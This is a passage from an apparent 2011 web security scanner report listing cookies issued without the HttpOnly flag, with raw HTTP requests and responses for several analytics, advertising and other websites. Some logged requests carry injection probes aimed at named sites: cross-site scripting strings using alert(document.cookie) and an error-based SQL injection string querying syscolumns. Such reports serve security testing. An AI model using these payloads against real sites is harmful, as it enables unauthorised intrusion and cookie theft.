20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&[AQE] HTTP/1.1 Host: dominionenterprises.112.2o7.net Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE]
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 02:23:12 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|269F1A080515A595-600001A8000031B7[CE]; Expires=Sun, 24 Jan 2016 02:23:12 GMT; Domain=dominionenterprises.112.2o7.net; Path=/ Location: http://dominionenterprises.112.2o7.net/b/ss/deparenthood/1/H.15.1/s24211537942755?AQB=1&pccr=true&vidn=269F1A080515A595-600001A8000031B7&&ndh=1&t=24/0/2011%2020%3A23%3A13%201%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=Parenting%2C%20Pregnancy%2C%20Baby%20Names%2C%20Online%20Parenting%20Articles%20%26%20More%20-%20Parenthood.com&g=http%3A//www.parenthood.com/%3Fd1907%27-alert%28document.cookie%29-%27807a8eb3eff%3D1&r=http%3A//burp/show/57&cc=USD&ch=www.parenthood.com&events=event1&c1=Data%20Not%20Available&v1=Data%20Not%20Available&c2=Data%20Not%20Available&v2=Data%20Not%20Available&c3=Data%20Not%20Available&v3=Data%20Not%20Available&v4=First%20page%20view%20or%20cookies%20not%20supported&v5=Parenting%2C%20Pregnancy%2C%20Baby%20Names%2C%20Online%20Parenting%20Articles%20%26%20More%20-%20Parenthood.com&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 X-C: ms-4.3.1 Expires: Mon, 24 Jan 2011 02:23:12 GMT Last-Modified: Wed, 26 Jan 2011 02:23:12 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www664 Content-Length: 0 Content-Type: text/plain
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|269F1B3305160AA7-600001A2A004A9AA[CE]; Expires=Sun, 24 Jan 2016 02:33:10 GMT; Domain=dominionenterprises.112.2o7.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/desoundings/1/H.21/s27710598513465?AQB=1&ndh=1&t=24/0/2011%2020%3A33%3A10%201%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=Buying%20a%20Boat%3F%20Search%20on%20Soundingsonline.com&g=http%3A//www.soundingsonline.com/index.php%3Foption%3Dcom_content%26view%3Dcategory%26layout%3Dblog%26id%3D%27%252B%2520%28select%2Bconvert%28int%2CCHAR%2895%29%252BCHAR%2833%29%252BCHAR%2864%29%252BCHAR%2850%29%252BCHAR%28100%29%252BCHAR%28105%29%252BCHAR%28108%29%252BCHAR%28101%29%252BCHAR%28109%29%252BCHAR%28109%29%252BCHAR%2897%29%29%2BFROM%2Bsyscolum&cc=USD&ch=www.soundingsonline.com&events=event1%2Cevent2&c1=D%3Dg&v1=D%3Dg&c2=1&v2=1&c3=monday%7C9%3A30pm&v3=monday%7C9%3A30pm&c4=New&v4=New&c5=First%20Visit&v5=First%20Visit&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1192&bh=688&ct=lan&hp=N&AQE=1 HTTP/1.1 Accept: */* Referer: http://www.soundingsonline.com/index.php?option=com_content&view=category&layout=blog&id='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&Itemid=111 Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Host: dominionenterprises.112.2o7.net Proxy-Connection: Keep-Alive
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 02:33:10 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|269F1B3305160AA7-600001A2A004A9AA[CE]; Expires=Sun, 24 Jan 2016 02:33:10 GMT; Domain=dominionenterprises.112.2o7.net; Path=/ Location: http://dominionenterprises.112.2o7.net/b/ss/desoundings/1/H.21/s27710598513465?AQB=1&pccr=true&vidn=269F1B3305160AA7-600001A2A004A9AA&&ndh=1&t=24/0/2011%2020%3A33%3A10%201%20360&ce=ISO-8859-1&ns=dominionenterprises&pageName=Buying%20a%20Boat%3F%20Search%20on%20Soundingsonline.com&g=http%3A//www.soundingsonline.com/index.php%3Foption%3Dcom_content%26view%3Dcategory%26layout%3Dblog%26id%3D%27%252B%2520%28select%2Bconvert%28int%2CCHAR%2895%29%252BCHAR%2833%29%252BCHAR%2864%29%252BCHAR%2850%29%252BCHAR%28100%29%252BCHAR%28105%29%252BCHAR%28108%29%252BCHAR%28101%29%252BCHAR%28109%29%252BCHAR%28109%29%252BCHAR%2897%29%29%2BFROM%2Bsyscolum&cc=USD&ch=www.soundingsonline.com&events=event1%2Cevent2&c1=D%3Dg&v1=D%3Dg&c2=1&v2=1&c3=monday%7C9%3A30pm&v3=monday%7C9%3A30pm&c4=New&v4=New&c5=First%20Visit&v5=First%20Visit&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1192&bh=688&ct=lan&hp=N&AQE=1 X-C: ms-4.3.1 Expires: Mon, 24 Jan 2011 02:33:10 GMT Last-Modified: Wed, 26 Jan 2011 02:33:10 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www621 Content-Length: 0 Content-Type: text/plain
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /?v=102&d=1&nwk=1&y=2&u=http%3A%2F%2Fwww.autobytel.com%2Fx22&r=http%3A%2F%2Fburp%2Fshow%2F31&rnd=989810 HTTP/1.1 Host: dp.specificclick.net Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: adp=780z^4^4095; smdmp=780z:1215201001^780z:201201001^780z:1012200938^780z:1011201009^77xf:99004015^77xe:99001525^77x6:99011769^75W4:99002797^75W4:99004740^74ry:104201102^74ry:811200901^74Xd:99063500; adf=780z^0^0; ug=uosDj9Liw_xRTA
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store,no-cache,must-revalidate Cache-Control: post-check=0,pre-check=0 Pragma: no-cache p3p: policyref="http://www.specificmedia.com/w3c/p3p.xml", CP="NON DSP COR ADM DEV PSA PSD IVA OUT BUS STA" Set-Cookie: adp=780z^4^4095; Domain=.specificclick.net; Expires=Tue, 24-Jan-2012 21:07:11 GMT; Path=/ Set-Cookie: ug=uosDj9Liw_xRTA; Domain=.specificclick.net; Expires=Tue, 24-Jan-2012 21:07:11 GMT; Path=/ Set-Cookie: smdmp=780z:1215201001^780z:201201001^780z:1012200938^780z:1011201009^77xf:99004015^77xe:99001525^77x6:99011769^75W4:99002797^75W4:99004740^74ry:104201102^74ry:811200901^74Xd:99063500; Domain=.specificclick.net; Expires=Tue, 24-Jan-2012 21:07:11 GMT; Path=/ Set-Cookie: adf=780z^0^0; Domain=.specificclick.net; Expires=Tue, 24-Jan-2012 21:07:11 GMT; Path=/ p3p: policyref="http://www.specificmedia.com/w3c/p3p.xml", CP="NON DSP COR ADM DEV PSA PSD IVA OUT BUS STA" Set-Cookie: ug=uosDj9Liw_xRTA; Domain=.specificclick.net; Expires=Tue, 24-Jan-2012 21:07:11 GMT; Path=/ p3p: policyref="http://www.specificmedia.com/w3c/p3p.xml", CP="NON DSP COR ADM DEV PSA PSD IVA OUT BUS STA" Set-Cookie: nug=; Domain=.specificclick.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Content-Type: text/html Date: Mon, 24 Jan 2011 21:07:10 GMT Vary: Accept-Encoding Connection: Keep-Alive Content-Length: 0
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /red/psi/sites/www.abbreviations.com/p.json?callback=_ate.ad.hpr&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww.abbreviations.com%2Fbs.aspx%3Fst%3Db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7a00ceef170%26SE%3D3%26r%3D1&ref=http%3A%2F%2Fburp%2Fshow%2F32&po6wxt HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; di=%7B%7D..1295452270.19F|1295378586.60|1293848200.66; psc=4; uid=4d1ec56b7612a62c
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 350 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Mon, 24 Jan 2011 21:08:42 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Wed, 23 Feb 2011 21:08:42 GMT; Path=/ Set-Cookie: di=%7B%7D..1295452270.19F|1295903322.60|1293848200.66; Domain=.addthis.com; Expires=Wed, 23-Jan-2013 18:25:13 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Mon, 24 Jan 2011 21:08:42 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 24 Jan 2011 21:08:42 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:40 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=9b5564d7b57848ef22bf9ac141472038; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 54147
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /extensions HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:47 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=8ce91e96c30d6b3c03ce44895359f0bf; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:47 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 58780
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /extensions/advanced-search HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:47 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=662ff80b6519b113832192982b098a5a; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:47 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 61417
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /extensions/languages/translations-for-joomla HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:40 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=119690ae64f99e48cab89680209b4270; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 72889
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /extensions/new HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:41 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: 3d56c873b463d3d3c1ccc249ca61c99d=bd83a0d831a42c661eb59a60c147c8f6; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:11:42 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 78217
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > < ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
BALANCEID=balancer.chervil; path=/;
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /reports/FBgn0000146.html/x22 HTTP/1.1 Host: flybase.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:51 GMT Server: Apache/1.3.26 Cache-Control: no-store, no-cache, must-revalidate, max-age=0, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 24 Jan 2011 15:11:51 GMT Content-Type: text/html;charset=UTF-8 set-cookie: BALANCEID=balancer.chervil; path=/; Vary: User-Agent,Accept-Encoding Connection: close Content-Length: 493133
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en"><head><meta http-equiv ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: forums.freebsd.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi=[CS]v1|269F65E9851D1546-40000138C04118F2[CE]; Expires=Sun, 24 Jan 2016 13:10:43 GMT; Domain=foxaudiencenetwork.122.2o7.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/fan-foxaudience/1/H.20.3/s68358821158763?AQB=1&ndh=1&t=25/0/2011%207%3A10%3A44%202%20360&ce=ISO-8859-1&ns=foxaudiencenetwork&pageName=FAN%3AHomePage&g=http%3A//www.foxaudiencenetwork.com/&cc=USD&ch=HomePage&server=www.foxaudiencenetwork.com&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: foxaudiencenetwork.122.2o7.net Proxy-Connection: keep-alive Referer: http://www.foxaudiencenetwork.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: s_vi_bohx7Fbcx7Dbjbx7Eyi=[CS]v4|2694879D05010AB6-600001152001C1C9|4D290F39[CE]; s_vi_bwvx7Bux60wwqwasx60x3Fbx60x7Dv=[CS]v4|2696ED9D05011A65-6000010260187391|4D2E46F2[CE]; s_vi_nxxx7Cbx60mfcjxxwx7Fx7Dx60k=[CS]v4|2697CD9905013D57-60000105600F9188|4D2F9B0A[CE]; s_vi_dinydefxxelh=[CS]v4|2696E37B85158159-40000175A004C187|4D30BC07[CE]
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 13:10:43 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi=[CS]v1|269F65E9851D1546-40000138C04118F2[CE]; Expires=Sun, 24 Jan 2016 13:10:43 GMT; Domain=foxaudiencenetwork.122.2o7.net; Path=/ Location: http://foxaudiencenetwork.122.2o7.net/b/ss/fan-foxaudience/1/H.20.3/s68358821158763?AQB=1&pccr=true&vidn=269F65E9851D1546-40000138C04118F2&&ndh=1&t=25/0/2011%207%3A10%3A44%202%20360&ce=ISO-8859-1&ns=foxaudiencenetwork&pageName=FAN%3AHomePage&g=http%3A//www.foxaudiencenetwork.com/&cc=USD&ch=HomePage&server=www.foxaudiencenetwork.com&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 X-C: ms-4.3.1 Expires: Mon, 24 Jan 2011 13:10:43 GMT Last-Modified: Wed, 26 Jan 2011 13:10:43 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www398 Content-Length: 0 Content-Type: text/plain
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /joomla/informacion/mbrriti-joomla-1-pik-6 HTTP/1.1 Host: gegnia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:11:50 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: 22bae4d6bb8978acd20b7a9dac0f3f85=ovtfp6obggr08kcq0mtis1qq55; path=/ Last-Modified: Mon, 24 Jan 2011 15:11:50 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 31891
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="sq-al" lang="sq-al" dir= ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
csrf_id=17b8d0887bd3f6e545eb80196d7df266; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /DataSift/TweetMeme-Chrome-Extension HTTP/1.1 Host: github.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 15:00:34 GMT Content-Type: text/html; charset=utf-8 Connection: close Status: 200 OK ETag: "ed993b0b64e19e7dbc6254707982dc48" X-Runtime: 124ms Content-Length: 40811 Set-Cookie: csrf_id=17b8d0887bd3f6e545eb80196d7df266; path=/ Set-Cookie: _gh_sess=BAh7BzoRbG9jYWxlX2d1ZXNzIgdlbiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA%3D%3D--e0bd7516c66d61afc1315d8c70aa3e9910534a77; path=/; expires=Fri, 01 Jan 2021 00:00:00 GMT; secure; HttpOnly Cache-Control: private, max-age=0, must-revalidate
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following cookie was issued by the application and does not have the HttpOnly flag set:
S=apphosting=xoAZxMqRaa6zR0f9f5WNwA; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /og-dogfood-issue HTTP/1.1 Host: goto.ext.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Location: https://goto.google.com/og-dogfood-issue Set-Cookie: S=apphosting=xoAZxMqRaa6zR0f9f5WNwA; path=/ Date: Mon, 24 Jan 2011 22:35:55 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html Server: Google Frontend Content-Length: 0 Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
S=apphosting=m36BQtRaQ0k7rP0DZWfNAg; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /og-exp HTTP/1.1 Host: goto.ext.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Location: https://goto.google.com/og-exp Set-Cookie: S=apphosting=m36BQtRaQ0k7rP0DZWfNAg; path=/ Date: Mon, 24 Jan 2011 22:35:56 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/html Server: Google Frontend Content-Length: 0 Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: green.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /group/alt.slack/msg/fa1fe1e3e6c31c9b/x22 HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /group/joomla-commits/topics HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /groups?hl=en&q=ges&um=1&ie=UTF-8&sa=N&tab=wg HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /grphp HTTP/1.1 Host: groups.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: gsas.harvard.edu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:36:05 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Set-Cookie: cb77073be2d435002988db5e6e1c1bab=hlaugf5hcca71ner7h6670p4h1; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 22:36:05 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 9792
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: hairmakeup.tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /yukikun/software/slimbox_ex/ HTTP/1.1 Host: homepage.mac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
